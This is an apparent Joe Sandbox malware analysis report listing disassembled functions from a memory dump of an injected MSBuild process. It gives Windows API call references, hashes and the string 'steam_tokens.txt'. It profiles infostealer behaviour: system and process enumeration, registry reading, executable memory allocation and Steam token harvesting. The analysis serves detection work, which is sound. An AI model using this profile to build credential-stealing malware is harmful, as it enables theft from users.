Part of subcall function 004187C0: CreateDCA.GDI32(013F0598,00000000,00000000,00000000), ref: 004187F5
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,00000008), ref: 00418804
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,0000000A), ref: 00418813
Part of subcall function 004187C0: ReleaseDC.USER32(00000000,?), ref: 00418822
Part of subcall function 004187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
Part of subcall function 004187C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
Part of subcall function 004187C0: wsprintfA.USER32 ref: 00418850

Part of subcall function 004181F0: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00418254

Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,014034C8,00000000,00020019,00000000,004205B6), ref: 004183A4

Part of subcall function 00418320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
Part of subcall function 00418320: wsprintfA.USER32 ref: 00418459
Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 0041848C
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 00418680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Part of subcall function 00418680: Process32First.KERNEL32(?,00000128), ref: 004186DE
Part of subcall function 00418680: Process32Next.KERNEL32(?,00000128), ref: 004186F3
Part of subcall function 00418680: CloseHandle.KERNEL32(?), ref: 00418761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041265B

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CapsCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3820780155-0
Opcode ID: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction ID: 920ebc2bd1264ef58e9e042ab956aee0a7d7d625442637cc145e34ec31588ac2
Opcode Fuzzy Hash: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction Fuzzy Hash: CA72A172C11018AADB19FB91DD92EEEB33CAF14314F50469FB11662051EF342BDACB69

Function 00415100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,013F0578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(00000000,00000000,00420ACA,?,?,?,?,?,?,0041610B,?), ref: 0041512A

Strings

steam_tokens.txt, xrefs: 0041513F

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction ID: 0b443913f8ff21268bbca5da4ddd77cab48c5630089faae76e13a1e44d6df956
Opcode Fuzzy Hash: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction Fuzzy Hash: E4F06D3194110866CB04F7B2EC539ED733C9F50358F80416EB413620D2EF3C675AC6AA

Function 00417ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
wsprintfA.USER32 ref: 00417F16

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction ID: 2fbe6902627a031950d7a3fa851ef95510e90209490a35db063d7eb50f57f6da
Opcode Fuzzy Hash: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction Fuzzy Hash: 53F0F6B5A44218FBC710CF84DC45FEAF7BCF744710F50066AF50592280D37929408BD5

Function 0040B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040B9C2
lstrlenA.KERNEL32(00000000), ref: 0040B9D6

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction ID: 4e9d2fdd6b59a5819e0b0cc177d60c70936eaf215788bcf9b06e28604354d71c
Opcode Fuzzy Hash: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction Fuzzy Hash: EEE133729111189BDB04FBA1CD92EEE7339AF14314F40456EF50672091EF386B9ACB7A

Function 0040AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B16A
lstrlenA.KERNEL32(00000000), ref: 0040B17E

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction ID: e0be25968149aafb42a348446a4bf8d1b8c1be94a7ef2c7b8365e7541d0fe6a1
Opcode Fuzzy Hash: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction Fuzzy Hash: D9916571911108ABDB04FBE1DD52EEE7339AF14314F40452EF507A6091EF386A99CBBA

Function 0040B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B42E
lstrlenA.KERNEL32(00000000), ref: 0040B442

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction ID: fa4c7b04dc1bb1edeb240a941fc638acc8c20e4742db631e424c44125528f59d
Opcode Fuzzy Hash: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction Fuzzy Hash: 68716271911108ABDB04FBA1DD92DEE7339BF14314F40452EF506A7091EF386A99CBAA

Function 00406660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406DBE,00406DBE,00003000,00000040), ref: 00406706
VirtualAlloc.KERNEL32(00000000,00406DBE,00003000,00000040), ref: 00406753

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction ID: cfb135ee3c51d7510548447878d0c09a9e1e3ef004be55e97ea32f204b2e5fca
Opcode Fuzzy Hash: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction Fuzzy Hash: B741EE74A00209EFCB44CF58C494BADBBB1FF44314F1486A9E95AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00418D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction ID: c33170cd47b5ddaf33f3bd529e3e9bd0b8526aec605854159e3974d419e7fdd8
Opcode Fuzzy Hash: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction Fuzzy Hash: C0F01574C00208EBCB00EFA4E5496DDBB74EB11324F10819EE826673C0DB796A96DB89

Function 00418DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
